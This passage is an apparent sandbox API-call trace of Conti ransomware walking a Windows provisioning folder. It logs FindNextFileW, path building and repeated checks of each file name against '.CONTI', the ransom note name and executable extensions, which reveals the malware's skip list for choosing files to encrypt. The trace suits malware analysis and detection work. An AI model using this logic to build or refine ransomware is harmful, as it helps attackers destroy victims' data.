	[0109.418] StrStrIW (lpFirst="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.418] StrStrIW (lpFirst="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.418] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.418] lstrlenW (lpString="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml") returned 66
	[0109.418] GetProcessHeap () returned 0x1720000
	[0109.418] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6589b40
	[0109.418] lstrcpyW (in: lpString1=0x6589b40, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.418] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.418] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\379__Connections_Cellular_Telenor (Serbia)_i1$(__MVID)@WAP.provxml"
	[0109.418] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901fba3a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901fba3a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901fba3a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", cAlternateFileName="37__CO~1.PRO")) returned 1
	[0109.418] lstrcmpiW (lpString1="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.418] lstrcmpiW (lpString1="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.418] StrStrIW (lpFirst="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.418] StrStrIW (lpFirst="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.418] StrStrIW (lpFirst="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.418] StrStrIW (lpFirst="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.419] StrStrIW (lpFirst="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.419] StrStrIW (lpFirst="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.419] StrStrIW (lpFirst="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.419] StrStrIW (lpFirst="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.419] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.419] lstrlenW (lpString="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml") returned 63
	[0109.419] GetProcessHeap () returned 0x1720000
	[0109.419] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x6588430
	[0109.419] lstrcpyW (in: lpString1=0x6588430, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.419] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.419] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\37__Connections_Cellular_BeST (Belarus)_i0$(__MVID)@WAP.provxml"
	[0109.419] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90de7bce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90de7bce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90de7bce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="380__C~1.PRO")) returned 1
	[0109.419] lstrcmpiW (lpString1="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.419] lstrcmpiW (lpString1="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.419] StrStrIW (lpFirst="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.419] StrStrIW (lpFirst="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.419] StrStrIW (lpFirst="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.419] StrStrIW (lpFirst="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.419] StrStrIW (lpFirst="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.419] StrStrIW (lpFirst="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.419] StrStrIW (lpFirst="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.419] StrStrIW (lpFirst="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.419] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.419] lstrlenW (lpString="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.419] GetProcessHeap () returned 0x1720000
	[0109.419] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6b81400
	[0109.419] lstrcpyW (in: lpString1=0x6b81400, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.419] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.419] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\380__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.419] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90de7bce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90de7bce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90de7bce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x31e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", cAlternateFileName="381__C~1.PRO")) returned 1
	[0109.419] lstrcmpiW (lpString1="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.419] lstrcmpiW (lpString1="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.420] StrStrIW (lpFirst="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.420] StrStrIW (lpFirst="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.420] StrStrIW (lpFirst="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.420] StrStrIW (lpFirst="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.420] StrStrIW (lpFirst="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.420] StrStrIW (lpFirst="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.420] StrStrIW (lpFirst="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.420] StrStrIW (lpFirst="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.420] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.420] lstrlenW (lpString="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml") returned 86
	[0109.420] GetProcessHeap () returned 0x1720000
	[0109.420] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x162) returned 0x17deb68
	[0109.420] lstrcpyW (in: lpString1=0x17deb68, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.420] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.420] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\381__Connections_Cellular_Vip Mobile RS (Serbia (Republic of))_i0$(__MVID)@WAP.provxml"
	[0109.420] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90de7bce, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90de7bce, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90de7bce, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", cAlternateFileName="382__C~1.PRO")) returned 1
	[0109.420] lstrcmpiW (lpString1="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.420] lstrcmpiW (lpString1="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.420] StrStrIW (lpFirst="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.420] StrStrIW (lpFirst="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.420] StrStrIW (lpFirst="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.420] StrStrIW (lpFirst="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.420] StrStrIW (lpFirst="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.420] StrStrIW (lpFirst="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.420] StrStrIW (lpFirst="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.420] StrStrIW (lpFirst="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.420] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.420] lstrlenW (lpString="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml") returned 71
	[0109.420] GetProcessHeap () returned 0x1720000
	[0109.420] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x656d178
	[0109.420] lstrcpyW (in: lpString1=0x656d178, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.420] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.421] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\382__Connections_Cellular_MobileOne (Singapore)_i0$(__MVID)@WAP.provxml"
	[0109.421] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e0de39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e0de39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e0de39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", cAlternateFileName="383__C~1.PRO")) returned 1
	[0109.421] lstrcmpiW (lpString1="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.421] lstrcmpiW (lpString1="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.421] StrStrIW (lpFirst="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.421] StrStrIW (lpFirst="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.421] StrStrIW (lpFirst="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.421] StrStrIW (lpFirst="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.421] StrStrIW (lpFirst="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.421] StrStrIW (lpFirst="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.421] StrStrIW (lpFirst="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.421] StrStrIW (lpFirst="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.421] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.421] lstrlenW (lpString="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml") returned 71
	[0109.421] GetProcessHeap () returned 0x1720000
	[0109.421] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x656dc38
	[0109.421] lstrcpyW (in: lpString1=0x656dc38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.421] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.421] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml"
	[0109.421] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e0de39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e0de39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e0de39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", cAlternateFileName="384__C~1.PRO")) returned 1
	[0109.421] lstrcmpiW (lpString1="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.421] lstrcmpiW (lpString1="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.421] StrStrIW (lpFirst="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.421] StrStrIW (lpFirst="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.421] StrStrIW (lpFirst="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.421] StrStrIW (lpFirst="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.421] StrStrIW (lpFirst="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.421] StrStrIW (lpFirst="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.421] StrStrIW (lpFirst="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.421] StrStrIW (lpFirst="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.421] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.421] lstrlenW (lpString="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.422] GetProcessHeap () returned 0x1720000
	[0109.422] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6589c88
	[0109.422] lstrcpyW (in: lpString1=0x6589c88, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.422] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.422] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml"
	[0109.422] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e0de39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e0de39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e0de39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", cAlternateFileName="385__C~1.PRO")) returned 1
	[0109.422] lstrcmpiW (lpString1="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
